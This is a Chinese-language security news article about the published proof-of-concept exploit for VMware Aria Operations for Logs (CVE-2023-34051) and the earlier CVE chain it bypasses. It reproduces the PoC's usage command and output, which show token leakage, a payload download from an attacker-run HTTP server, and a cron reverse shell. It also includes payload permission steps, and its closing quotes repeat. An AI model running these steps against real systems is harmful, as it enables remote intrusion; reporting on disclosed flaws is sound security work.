安全专家发布VMware (CVE-2023-34051) POC 漏洞利用代码

VMware 警告客户，VMware Aria Operations for Logs（以前称为 vRealize Log Insight）中存在身份验证绕过漏洞的概念验证 (PoC) 漏洞利用代码，该漏洞的编号为 CVE-2023-34051  。

漏洞 CVE-2023-34051（CVSS 评分 8.1）是 VMware Aria Operations for Logs 中的一个身份验证绕过漏洞。

未经身份验证的恶意行为者可以将文件注入受影响设备的操作系统中，从而导致远程代码执行。” 阅读虚拟化巨头发布的公告。

“更新了 VMSA，注意到 VMware 已确认 CVE-2023-34051 的漏洞代码已发布”。

该漏洞由网络安全公司 Horizo​​n3 发现，并发布了该漏洞的技术分析。

今年早些时候，该安全公司发布了有关VMSA-2023-0001的技术信息，该信息影响了 VMware Aria Operations for Logs（以前称为 VMware vRealize Log Insight）。研究人员演示了攻击者如何利用三个不同的 CVE 来实现远程代码执行。在调查问题时，研究人员发现VMware提供的解决方案无法完全解决这些缺陷。研究人员立即向 VMware 报告了这个新问题，并已在 VMSA-2023-0021 中得到解决。

此漏洞的危害指标与VMSA-2023-0001 发布的相同。

该网络安全公司还发布了 针对此漏洞的PoC 漏洞利用 。

CVE-2023-34051 是一种绕过 VMSA-2023-0001 补丁的身份验证绕过方法。适用于 vRealize Log Insight 的 VMSA-2023-0001 包括以下 CVE：

• VMware vRealize Log Insight 目录遍历漏洞 (CVE-2022-31706)
• VMware vRealize Log Insight 破坏访问控制漏洞 (CVE-2022-31704)
• VMware vRealize Log Insight 包含信息泄露漏洞 (CVE-2022-31711)

该漏洞的默认配置会编写一个 cron 作业来创建反向 shell。请务必更改该payload文件以适合您的环境。

用法

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

故障排除

为了使这种攻击起作用，攻击者必须具有与主/工作节点相同的 IP 地址。请参阅上面的博客了解更多详细信息。

如果使用基于 cron 的有效负载，请确保有效负载文件具有适当的权限和所有者：

sudo chown root:root payload

sudo chmod 0644 payload

“这个 POC 滥用 IP 地址欺骗和各种 Thrift RPC 端点来实现任意文件写入。” 阅读 Horizo​​n3 发布的公告。“此漏洞的默认配置会编写一个 cron 作业来创建反向 shell。请务必更改有效负载文件以适合您的环境。” “为了使这种攻击起作用，攻击者必须具有与主/工作节点相同的 IP 地址。” “为了使这种攻击起作用，攻击者必须具有与主/工作节点相同的 IP 地址。请参阅上面的博客了解更多详细信息。“